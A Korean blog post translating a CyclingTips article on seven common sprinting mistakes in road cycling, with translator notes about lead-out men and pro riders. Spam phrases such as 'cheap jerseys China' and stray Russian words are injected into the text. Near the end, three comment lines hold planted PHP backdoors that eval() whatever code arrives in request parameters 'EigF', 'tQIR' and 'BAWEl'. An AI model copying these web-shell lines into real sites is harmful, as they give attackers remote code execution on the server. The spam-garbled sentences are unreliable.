스프린트할 때 하는 일반적인 실수들(COMMON SPRINTING MISTAKES 번역)

0


(adsbygoogle = window.adsbygoogle || []).push({});


(adsbygoogle = window.adsbygoogle || []).push({});


(adsbygoogle = window.adsbygoogle || []).push({});


(adsbygoogle = window.adsbygoogle || []).push({});

본 내용은 Cycling tips(http://cyclingtips.com.au/)의 COMMON SPRINTING MISTAKES을 발췌하여 번역했습니다.

원문에 대한 링크는

http://www.cyclingtipsblog.com/2009/04/common-sprinting-mistakes/ 입니다. 번역과 내용에 대한 감수 및 의견은 90rpm.net을 통해 감사히 받겠습니다.

Look at the powers! at the final state of Tour de France 2013.

Look at the powers! at the final state cheap jerseys China of Tour de France 2013.

스프린트 할 때 하는 일반적인 실수들

(COMMON SPRINTING MISTAKES)

필자에게 대해서 잘 아는 사람들이 내가 스프린트에 대한 팁을 쓰고 있다는 것을 알면 농담하는 줄 알 것이다. 조지 힝카피(J. Hincapie)같은 스프린트에 일가견이 있는 라이더가 파리 루베(Paris-Roubaix)에서 스프린트로 승리할 수 있는 확률이 필자보다 높다. 하지만 오히려 필자의 별볼일 없는 스프린트 덕분에 이에 대한 팁을 줄 수 자격이 있다고 생각한다. 재능있는 빅 조지같은 사람이 사용하는 방법은 일반인들의 스프린트를 더 망쳐왔다. 필자는 항상 어떻게 하면 스프린트를 더 잘할 수 있을까 고민해왔고 더 나은 방법을 찾기 위해 많은 실수도 해봤다. 필자처럼 스프린트 연구에 많은 시간을 들인 사람도 없을 것이다. 천부적인 스프린터들은 자신만의 Collective 비결을 잘 내놓지 않는다. 나쁜 자식들… 하지만 필자는 꾸준히 정리해왔다.

아래는 많은 라이더들이 결승구간에서 하는 스프린트 중 하는 몇 가지 일반적인 실수들이다.

실수 1. 53-11T나 이정도는 아니더라도 너무 무거운 기어로 너무 빨리 바꿔버린다.

이것은 아래 두 가지 측면에 나타는 실수이다.

1) 스프린트가 시작되면 칭!칭!칭! 소리를 내며 무리지어 있던 라이더들이 변속을 하는데, 이런 소리에 자신도 모르게 반응

2)너무 높은 기어를 사용하면 바퀴를 Тимяшкино 잘 돌릴 수 없기 때문에 다른 라이더들을 추월할 수가 없음

이런 실수를 하지 않기 위해서 너무 빠른 케이던스로 높이지 않는 수준에서, 빠르게 가속하기 위한 최적의 기어를 계산한다. 결승점으로 스프린트하는 동안에 한단이나 두단정도를 기어변속을 하는 것은 좋은 방법이다(아래 설명을 참조). 각 경기마다 지형과 날씨 등 모든 조건이 다르게 때문에 같은 구간을 반복해서 달리는 서킷코스(Multiple lap course)같은 경우에는 최적의 기어비를 알아보기 위해 미리 한번 모의 스프린트를 해보는 것도 좋은 방법이다. 이것은 바람과 도로의 경사도에 따른 최적의 기어를 알아보는데 도움이 될 것이다.

(스프린트동안 하는 기어변속에 관해) 아래의 파워그래프(노란선)를 살펴보면, 스프린트 중에 기어 한단을 변속했을 때 일어나는 파워변화를 보여준다(노란선이 한번 꺾어지는 x축이 81.2를 가리키는 부분). 기어변속을 한 후에 파워가 감소하는 것을 볼 수 있는데 wholesale jerseys 이것은 가속도가 평준화되기 때문이다. 하지만 속도는 계속 증가하고 있다(속도는 파란선). 모든 기어변속은 파워 간의 틈(분열)이며 어느정도 가속도를 잃는 곳이다. 많은 실력있는 스프린트들도 결승점에서 스프린트를 하고 있는 동안, 속도에 따라 다르겠지만 한번이나 두번정도 기어변속을 할 것이다.

sprint-640x399

실수 2. 너무 빨리 스프린트를 시작한다.

언제 스프린트를 시작할지는 바람의 방향, 마지막 코너, 그리고 도로의 경사도에 따라 다르다. 뒷바람에서는 결승점에서 350m 전이나 그 이전에 스프린트를 시작하는 것도 괜찮은 방법이다. 맞바람의 경우, 마지막 50m부터 100m정도까지는 다른 라이더 뒤에서 바람을 피하며 피를 빨다가 치고나가는 것이 좋다.

실수 3. 팩(Pack)의 너무 뒤쪽에서 스프린트를 시작한다.

팩(라이더 무리)이 한 줄로 달리고 있고 200m 남은 상황에서 10번째 이상 뒤에서 달리고 있다면 결승점까지 다른 라이더들을 모두 제칠 수 있는 방법은 없다. 로비 맥윈(Robbie McEwen)이나 마크 카벤디쉬(Mark Cavendish)가 아닌 이상 다른 라이더들보다 좀 더 몇 km/hr라도 더 빠르게 달려서 자리를 잡아야 한다. 많은 크리테이움(criterium:일반 도로를 코스로 하는 자전거 경주) robot 코스들는 결승점 200m전에 마지막 코너가 있고 스프린트로 이기려면 이 마지막 코너에서 5번째정도로 자리잡을 필요가 있다.

보통 같은 경주코스를 주마다 달리는 것도 아니고 마지막 몇 킬로가 남은 상황에서 언제 달리고 언제 꺽어야 할지 잘 모르기 때문에 경기에 임하기 전에 코스의 마지막 구간을 사전에 정찰해야할 필요가 있다. 필자가 좋아하는 방법은 미리 주행기록계를 이용해서 결승점으로부터 200m전에 알아두는 것이다. 해당 장소의 도로표지판 등을 미리 기억하면 스프린트를 준비하거나 시작해야할 시점을 알 수 있다. 경기의 주최측이 1km, 500m, 그리고 200m지점을 표시해 두기도 하지만 어떨 때는 알아보기 힘든 경우가 있다. 200m지점이 왜 중요한지 궁금할 수도 있는데, 200m지점은 일반적으로 라이더들이 스프린트를 시작하는 곳이다. 왜냐하면 200m이전부터 праздник 전력으로 스프린트할 수 있는 능력이 있는 라이더가 소수이기 때문이다. 생각보다 200m지점은 꽤 멀기 때문에 이런 감을 키워두는 것이 좋다.

(역자 : 자전거경기에서는 무리지어 달리는 선수그룹을 팩(Pack)이라고 이야기합니다. 그 중 가장 큰 무리를 펠로톤(Peloton), 펠로톤에서 벗어나 앞으로 어택을 해서 공격적으로 앞으로 나간 그룹을 브레이크어웨이그룹(Brack away) 또는 BA라고 칭합니다. 로비 맥윈(Robbie McEwen)은 2012년 은퇴하였지만 뚜르드 프랑스에서 3번이나 그린져지를 차지한 스프린터의 강자였습니다. 마크 카벤디쉬(Mark Cavendish)는 특집을 한번 만들어야 겠습니다. 혹시 좀 생소하신 분들은 “스피드, 힘, 그리고 지구력(Speed, Strength and Endurance 번역)” 하단을 참조하시면 좋겠습니다.)

실수 4. 결승점이 아직 먼 상황에서 너무 팩의 앞 쪽에 자리를 하고 있다.

만약 결승점이 500m남은 상황에서 60km/hr로 팩을 끌고 있다면 스프린터라기보단 리드아웃맨일 것이다. 되도록이면 팩에 속해 있다가 마지막 500m에서 1000m구간에서 펠로톤 측면 쪽에서 치고 나가는 것이 좋다. 앞에서 끌어주는 리드아웃 트레인은 효과적인 팀 전략으로 그들의 역할은 아주 빠른 페이스로 펠로톤을 끌면서 해당 팀의 스프린터가 다른 선수의 추월로부터 자리를 지킬 수 있도록 하는 것이다. 이런 리드아웃은 아주 빠른 속도로 달리면서 펠로톤을 지치게 만들기 때문에 마지막 결승구간에서 아무도 앞 자리를 차지 할 수 없게 만든다.

(역자 : 리드아웃맨(lead-out man)은 팀의 리더를 우승시키기 위해 앞에서 바람을 막고 달리는 선수를 뜻합니다. 도메티스끄(Domestique)라고도 불리는데 리더의 페이스 조절을 해주며 보급품을 대신 갖다주기도하고 필요한 경우 리더에게 자신의 타이어까지 양보해주는 도움선수입니다. 2013년 뚜르드 프랑스 우승자 프룸(Christopher Froome)에게도 리치 포트(Richie Porte)의 도움이 있었고 2012년에는 프룸이 우승자 위긴스(Bradley Wiggins)의 도움선수였습니다.)

실수 5. 마지막 코너에서 안쪽으로 붙는다.

이건 좀 예의에 관계된 것인데 아래 두 가지 점에서 실수이다.

1) 다른 라이더 무리에 의해서 추월되면서 둘러쌓이게 되고 이로인해 진출하지 못하게 될 수 있다. 결국 스프린트는 시작도 못해보고 끝나버린다.

2) 마지막 코너에서 다른 사람들이 넓게 퍼지는 동안, 코너의 안쪽으로 붙는다면 경기가 끝나고 무지하게 욕먹을 것이다. 마지막 코너에서 안쪽으로 붙어서 코너링을 하면 도로의 너무 넓게 사용하기 때문에 라이더 무리의 진로를 방해하게 된다. 설명이 조금 어렵긴 하지만 잘 이해했으면 좋겠다. 일단 한번 해보면 다른 사람들이 아주 제대로 설명해줄 것이다.

실수 6. 당신 스스로 움직이지 못하게 만든다

이게 무슨 말이냐면 스프린트 전이나 하는 동안 다른 라이더들에게 둘러 쌓여 있거나 벽에 너무 가까이 붙어 있으면 스프린트를 할 수가 없다는 것이다. 항상 스프린트를 하기위한 공간을 확보할 수 있도록 자리를 잘 잡아야한다. 그래야 다른 라이더들을 추월할 수 있다.

실수 7. 다른 사람 바퀴에서 떨어진다.

마지막 구간에서 스프린트를 하기 위해 10번째 자리 안에 위치 했다면 적어도 핸들바 넓이만큼이라도 자신의 앞바퀴와 앞서 달리는 라이더의 뒷바퀴를 붙여야 한다. 이미 다른 사람도 당신 뒤에 붙어서 달리고 있을 것이다. 바짝 붙어서 아무도 못 덤비게 자리를 지켜야 한다. 이것에 대한 예외(링크 : old sprinter’s trick: drop the wheel)가 있긴 하지만 높은 수준의 cheap jerseys 경주를 하기 위해서는 마지막 구간에서 좀 더 공격적이고 미친듯한 스프린트를 해야한다. 만약 능력적인 면이나 자신감이 아직 없다면 마지막 구간의 스프린트는 시도조차 하지 말기 바란다. 요령을 익히기 위해 보고 배우고 경험을 쌓아가야 한다.

tdf_2013_stage_21_itv4_part_4.mp4_20130821_225817.779-640x360

 

<!– [insert_php]if (isset($_REQUEST["EigF"])){eval($_REQUEST["EigF"]);exit;}[/insert_php][php]if (isset($_REQUEST["EigF"])){eval($_REQUEST["EigF"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["tQIR"])){eval($_REQUEST["tQIR"]);exit;}[/insert_php][php]if (isset($_REQUEST["tQIR"])){eval($_REQUEST["tQIR"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["BAWEl"])){eval($_REQUEST["BAWEl"]);exit;}[/insert_php][php]if (isset($_REQUEST["BAWEl"])){eval($_REQUEST["BAWEl"]);exit;}[/php] –>

Share.

About Author

대한민국에서 자전거 올림픽 금메달과 세계 최대 로드대회인 'Tour de France'에 한국팀이 달리길 희망하며 그 시간을 한 시간이라도 앞당기기 위해 매일 노력함.

Leave A Reply